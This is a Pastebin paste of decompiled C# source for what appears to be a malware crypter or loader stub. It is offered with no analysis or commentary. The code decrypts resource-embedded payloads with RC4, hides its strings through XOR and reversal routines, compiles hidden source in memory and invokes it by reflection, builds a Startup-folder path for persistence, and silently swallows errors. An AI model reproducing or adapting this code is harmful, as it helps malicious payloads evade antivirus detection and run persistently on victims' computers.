Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using Microsoft.VisualBasic;
- using Microsoft.VisualBasic.CompilerServices;
- using System;
- using System.CodeDom.Compiler;
- using System.IO;
- using System.Reflection;
- using System.Resources;
- using System.Text;
- using System.Windows.Forms;
- public class A
- {
- private static string StrPath = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + A.StringE("65", "f9ff01acad04452fa8356c090777e2c7") + Path.GetFileName(Application.ExecutablePath);
- private static string[] Arry;
- private static CompilerResults CRS;
- private static CompilerParameters PR = new CompilerParameters();
- private static CodeDomProvider CI;
- [STAThread]
- public static void Main()
- {
- Assembly assembly = Assembly.LoadFile(Application.ExecutablePath);
- ResourceManager resourceManager = new ResourceManager("A", assembly);
- object right;
- string text = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Interaction.Environ(A.Reverser(Conversions.ToString(resourceManager.GetObject("X")))) + A.Reverser(Conversions.ToString(resourceManager.GetObject("J"))), right), A.StringE("1C5C4B07", "c293bb684c0f4ca8bdf7364efcc6f11e")));
- try
- {
- byte[] array = A.ENC(Conversions.ToString(resourceManager.GetObject("Z0")), Conversions.ToString(resourceManager.GetObject("K")));
- A.LoadMethod("IIN", "C", A.CC(A.Reverser(Conversions.ToString(resourceManager.GetObject("NV")))), new object[]
- {
- array
- });
- int num = Conversions.ToInteger(resourceManager.GetObject("i"));
- if (num != 1)
- {
- int arg_F0_0 = 0;
- int num2 = num - 1;
- for (int i = arg_F0_0; i <= num2; i++)
- {
- string text2 = Interaction.Environ(A.Reverser(Conversions.ToString(resourceManager.GetObject("X")))) + A.Reverser(Conversions.ToString(resourceManager.GetObject("J")));
- int num3 = 70;
- if (i == 0)
- {
- text2 = Conversions.ToString(Operators.ConcatenateObject(text2, resourceManager.GetObject(Conversions.ToString(Strings.Chr(num3)) + Conversions.ToString(Strings.Chr(num3)))));
- }
- else if (i == 1)
- {
- text2 = Conversions.ToString(Operators.ConcatenateObject(text2, resourceManager.GetObject(Conversions.ToString(Strings.Chr(num3 + 13)) + Conversions.ToString(Strings.Chr(num3 + 13)))));
- }
- else if (i == 2)
- {
- text2 = Conversions.ToString(Operators.ConcatenateObject(text2, resourceManager.GetObject(Conversions.ToString(Strings.Chr(num3 + 14)) + Conversions.ToString(Strings.Chr(num3 + 14)))));
- }
- else if (i == 3)
- {
- text2 = Conversions.ToString(Operators.ConcatenateObject(text2, resourceManager.GetObject(Conversions.ToString(Strings.Chr(num3 + 15)) + Conversions.ToString(Strings.Chr(num3 + 15)))));
- }
- array = A.ENC(Conversions.ToString(resourceManager.GetObject("Z" + Conversions.ToString(i + 1))), Conversions.ToString(resourceManager.GetObject("K")));
- A.LoadMethod("C", "T", A.CC(A.Reverser(Conversions.ToString(resourceManager.GetObject("L")))), new object[]
- {
- text2,
- array
- });
- if (Operators.CompareString(A.StrPath, Application.ExecutablePath, false) != 0)
- {
- A.LoadMethod("S", "SS", A.CC(A.Reverser(Conversions.ToString(resourceManager.GetObject("Y")))), new object[]
- {
- text2
- });
- }
- }
- }
- }
- catch (Exception expr_2F7)
- {
- ProjectData.SetProjectError(expr_2F7);
- ProjectData.ClearProjectError();
- }
- }
- public static string Reverser(string s)
- {
- s = s.Replace('#', 'e');
- s = s.Replace(Strings.Chr(195), 'a');
- s = s.Replace(Strings.Chr(200), 'i');
- char[] array = s.ToCharArray();
- Array.Reverse(array);
- return new string(array);
- }
- public static byte[] ENC(string bytes, string key)
- {
- byte[] bytes2 = Encoding.Default.GetBytes(bytes);
- byte[] bytes3 = Encoding.Default.GetBytes(key);
- byte[] array = new byte[256];
- int arg_2E_0 = 0;
- int num = array.Length - 1;
- int i;
- for (i = arg_2E_0; i <= num; i++)
- {
- array[i] = (byte)i;
- }
- int arg_49_0 = 0;
- int num2 = array.Length - 1;
- int num3;
- for (i = arg_49_0; i <= num2; i++)
- {
- num3 = (num3 + (int)bytes3[i % bytes3.Length] + (int)array[i] & 255);
- byte b = array[i];
- array[i] = array[num3];
- array[num3] = b;
- }
- i = 0;
- num3 = 0;
- byte[] array2 = new byte[bytes2.Length - 1 + 1];
- int arg_9A_0 = 0;
- int num4 = bytes2.Length - 1;
- for (int j = arg_9A_0; j <= num4; j++)
- {
- i = (i + 1 & 255);
- num3 = (num3 + (int)array[i] & 255);
- byte b2 = array[i];
- array[i] = array[num3];
- array[num3] = b2;
- array2[j] = (array[(int)(array[i] + array[num3] & 255)] ^ bytes2[j]);
- }
- return array2;
- }
- public static string StringE(string Input, string Pass)
- {
- string text = null;
- string str = "&H ";
- long arg_27_0 = 1L;
- long num = (long)Math.Round((double)Strings.Len(Input) / 2.0);
- for (long num2 = arg_27_0; num2 <= num; num2 += 1L)
- {
- int num3 = (int)Math.Round(Conversion.Val(str + Strings.Mid(Input, (int)(2L * num2 - 1L), 2)));
- int num4 = Strings.Asc(Strings.Mid(Pass, (int)(num2 % (long)Strings.Len(Pass) + 1L), 1));
- text += Conversions.ToString(Strings.Chr(num3 ^ num4));
- }
- return text;
- }
- private static bool LoadMethod(string Class, string Void, Assembly file, object[] Parameters)
- {
- bool result;
- try
- {
- Type type = file.GetType(Class);
- if (type != null)
- {
- MethodInfo method = type.GetMethod(Void);
- if (method != null)
- {
- result = Conversions.ToBoolean(method.Invoke(null, Parameters));
- }
- }
- }
- catch (Exception expr_28)
- {
- ProjectData.SetProjectError(expr_28);
- ProjectData.ClearProjectError();
- }
- return result;
- }
- public static Assembly CC(string Source)
- {
- A.Arry = new string[]
- {
- A.StringE("746750031412", "f748bfbd18184c6c91761bcb3a2761ad"),
- A.StringE("354B464D045917065D5B", "cf259a49b1734f168dc5a04f93bc8c81"),
- A.StringE("16420F514D5E0E405D5F480C501417140840555E57", "f92c098a20e04f48af3482e7148d8e05")
- };
- A.CI = CodeDomProvider.CreateProvider(A.Arry[0]);
- A.Para();
- A.CRS = A.CI.CompileAssemblyFromSource(A.PR, new string[]
- {
- Source
- });
- return A.CRS.CompiledAssembly;
- }
- public static void Para()
- {
- A.PR.GenerateExecutable = false;
- A.PR.GenerateInMemory = true;
- A.PR.ReferencedAssemblies.Add(A.Arry[1]);
- A.PR.CompilerOptions = A.Arry[2];
- A.PR.TreatWarningsAsErrors = false;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement